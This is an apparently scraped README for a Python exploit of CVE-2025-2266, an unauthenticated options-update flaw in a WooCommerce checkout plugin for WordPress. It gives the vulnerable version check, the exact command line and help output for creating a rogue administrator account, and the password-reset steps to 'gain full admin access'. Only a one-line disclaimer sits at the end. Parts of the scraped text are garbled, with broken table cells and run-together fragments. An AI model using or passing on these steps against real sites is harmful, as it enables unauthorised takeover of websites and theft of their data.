
Checkout Mestres do WP for WooCommerce 8.6.5 - 8.7.5 - Unauthenticated Arbitrary Options Update
The Checkout Mestres do WP for WooCommerce plugin for WordPress is affected by an unauthenticated arbitrary options update vulnerability in versions 8.6.5 through 8.7.5.
The vulnerable function cwmpUpdateOptions() lacks proper capability checks, allowing unauthenticated attackers to update arbitrary WordPress options.
An attacker can:
administratorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HThis Python script exploits the vulnerability to:
administrator as the default rolerequests module (install via pip install requests)8.6.5 – 8.7.5)The script checks the plugin version via:
/wp-content/plugins/checkout-mestres-wp/readme.txt
If the plugin is vulnerable:
Registers a new user (default: nxploited) with administrator privileges
python CVE-2025-2266.py -u http://target.com/wordpress -newuser adminx -email [email protected]
| Option | Description |
|---|---|
-u, --url |
usage: CVE-2025-2266.py [-h] -u URL [-newuser [NEWUSER]] [-email [EMAIL]]
CVE-2025-2266 Checkout Mestres do WP for WooCommerce Plugin Exploit
By : Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g., http://example.com/wordpress)
-newuser [NEWUSER] Create new admin user (default username: nxploited)
-email [EMAIL] Email for new user (default: [email protected])
Once the user is created:
Visit the login page:
http://target.com/wordpress/wp-login.php
Click on "Lost your password?"
[email protected])Set a password and gain full admin access 🎯
Exploit by Nxploited | Khaled Alenazi
⚠️ This script is for educational and authorized testing purposes only.
| Target WordPress site URL (Required) |
-newuser | Create new admin user (default username: nxploited) |
-email | Email for new user (default: [email protected]) |